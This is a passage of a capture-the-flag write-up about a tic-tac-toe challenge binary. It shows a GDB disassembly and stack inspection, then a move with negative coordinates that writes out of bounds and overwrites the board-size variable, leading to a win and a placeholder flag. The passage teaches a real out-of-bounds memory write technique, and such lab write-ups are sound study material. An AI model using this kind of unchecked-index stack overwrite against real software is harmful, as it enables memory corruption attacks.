   0x00000000000012c8 <+159>:	lea    rax,[rbp-0x11]
   0x00000000000012cc <+163>:	mov    esi,edx
   0x00000000000012ce <+165>:	mov    rdi,rax
   0x00000000000012d1 <+168>:	mov    eax,0x0
   0x00000000000012d6 <+173>:	call   0x1bfb <printBoard>
   0x00000000000012db <+178>:	mov    ecx,DWORD PTR [rbp-0x34]
   0x00000000000012de <+181>:	mov    r8d,DWORD PTR [rbp-0x38]
   0x00000000000012e2 <+185>:	lea    rdi,[rbp-0x2c]
   0x00000000000012e6 <+189>:	lea    rdx,[rbp-0x30]
   0x00000000000012ea <+193>:	mov    esi,DWORD PTR [rbp-0x18]
   0x00000000000012ed <+196>:	lea    rax,[rbp-0x11]
   0x00000000000012f1 <+200>:	sub    rsp,0x8
   0x00000000000012f5 <+204>:	push   rcx
   0x00000000000012f6 <+205>:	mov    r9d,r8d
   0x00000000000012f9 <+208>:	mov    r8,rdi
   0x00000000000012fc <+211>:	mov    rcx,rdx
   0x00000000000012ff <+214>:	mov    edx,0x2
   0x0000000000001304 <+219>:	mov    rdi,rax
   0x0000000000001307 <+222>:	mov    eax,0x0
   0x000000000000130c <+227>:	call   0x18dd <move>
   0x0000000000001311 <+232>:	add    rsp,0x10
   0x0000000000001315 <+236>:	mov    edx,DWORD PTR [rbp-0x18]
   0x0000000000001318 <+239>:	lea    rax,[rbp-0x11]
   0x000000000000131c <+243>:	mov    esi,edx
   0x000000000000131e <+245>:	mov    rdi,rax
   0x0000000000001321 <+248>:	mov    eax,0x0
   0x0000000000001326 <+253>:	call   0x1bfb <printBoard>
   0x000000000000132b <+258>:	mov    ecx,DWORD PTR [rbp-0x2c]
   0x000000000000132e <+261>:	mov    r8d,DWORD PTR [rbp-0x30]
   0x0000000000001332 <+265>:	lea    rdi,[rbp-0x24]
   0x0000000000001336 <+269>:	lea    rdx,[rbp-0x28]
   0x000000000000133a <+273>:	mov    esi,DWORD PTR [rbp-0x18]
   0x000000000000133d <+276>:	lea    rax,[rbp-0x11]
   0x0000000000001341 <+280>:	sub    rsp,0x8
   0x0000000000001345 <+284>:	push   rcx
   0x0000000000001346 <+285>:	mov    r9d,r8d
   0x0000000000001349 <+288>:	mov    r8,rdi
   0x000000000000134c <+291>:	mov    rcx,rdx
   0x000000000000134f <+294>:	mov    edx,0x3
   0x0000000000001354 <+299>:	mov    rdi,rax
   0x0000000000001357 <+302>:	mov    eax,0x0
   0x000000000000135c <+307>:	call   0x18dd <move>
   0x0000000000001361 <+312>:	add    rsp,0x10
   0x0000000000001365 <+316>:	mov    edx,DWORD PTR [rbp-0x18]
   0x0000000000001368 <+319>:	lea    rax,[rbp-0x11]
   0x000000000000136c <+323>:	mov    esi,edx
   0x000000000000136e <+325>:	mov    rdi,rax
   0x0000000000001371 <+328>:	mov    eax,0x0
   0x0000000000001376 <+333>:	call   0x1bfb <printBoard>
   0x000000000000137b <+338>:	mov    ecx,DWORD PTR [rbp-0x24]
   0x000000000000137e <+341>:	mov    r8d,DWORD PTR [rbp-0x28]
   0x0000000000001382 <+345>:	lea    rdi,[rbp-0x1c]
   0x0000000000001386 <+349>:	lea    rdx,[rbp-0x20]
   0x000000000000138a <+353>:	mov    esi,DWORD PTR [rbp-0x18]
   0x000000000000138d <+356>:	lea    rax,[rbp-0x11]
   0x0000000000001391 <+360>:	sub    rsp,0x8
   0x0000000000001395 <+364>:	push   rcx
   0x0000000000001396 <+365>:	mov    r9d,r8d
   0x0000000000001399 <+368>:	mov    r8,rdi
   0x000000000000139c <+371>:	mov    rcx,rdx
   0x000000000000139f <+374>:	mov    edx,0x4
   0x00000000000013a4 <+379>:	mov    rdi,rax
   0x00000000000013a7 <+382>:	mov    eax,0x0
   0x00000000000013ac <+387>:	call   0x18dd <move>
   0x00000000000013b1 <+392>:	add    rsp,0x10
   0x00000000000013b5 <+396>:	nop
   0x00000000000013b6 <+397>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013ba <+401>:	sub    rax,QWORD PTR fs:0x28
   0x00000000000013c3 <+410>:	je     0x13ca <main+417>
   0x00000000000013c5 <+412>:	call   0x10e0 <__stack_chk_fail@plt>
   0x00000000000013ca <+417>:	leave
   0x00000000000013cb <+418>:	ret
End of assembler dump.

Let's break with ctrl+c just after we are prompted for input and observe our stack to find out what offsets are needed for the overwrite to take place.

According to the IDA decompilation our side_len variable is written at rbp-18. Thus lets inspect and verify that it now holds a value of 3

x/1ub $rbp-0x18
0x7fffffff9b68:	3

Lets now also verify the position of our board also

x/9db $rbp-0x11
0x7fffffff9b6f:	95	95	95	95	88	95	95	95
0x7fffffff9b77:	95

Thus we know that to overwrite the side length we need to go 0x18 - 0x11 = 7 positions back. But remember that the y axis is multiplied by side_len which is initially 3. Thus our y is multiplied by 3. Hence a y=-3,x=2 -> 3*-3 +2=-7 or y=-2,x=-1 -> -2*3 -1=-7 would work.

Once we enter such a move we can inspect if we have successfully overwritten side_len

x/1ub $rbp-0x18
0x7fffffff9b68:	79

Thus we can now quite literally play and win the game outside of the box/board. E.g with 3,0 , 3,1 , 3,2 or any 3 adjacent squares in our new 79x79 tic-tac-toe board!

Welcome to Tic-Tac-Toe! In order to get the flag, just win! The bot goes first!
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Move: -2,-1
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Bot turn!
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Move: 3,0
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Bot turn!
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Move: 3,1
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Bot turn!
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
Move: 3,2
Returning!
 _ | _ | _
---|---|---
 _ | X | _
---|---|---
 _ | _ | _
You won! Flag: n00bz{fake_flag_for_testing}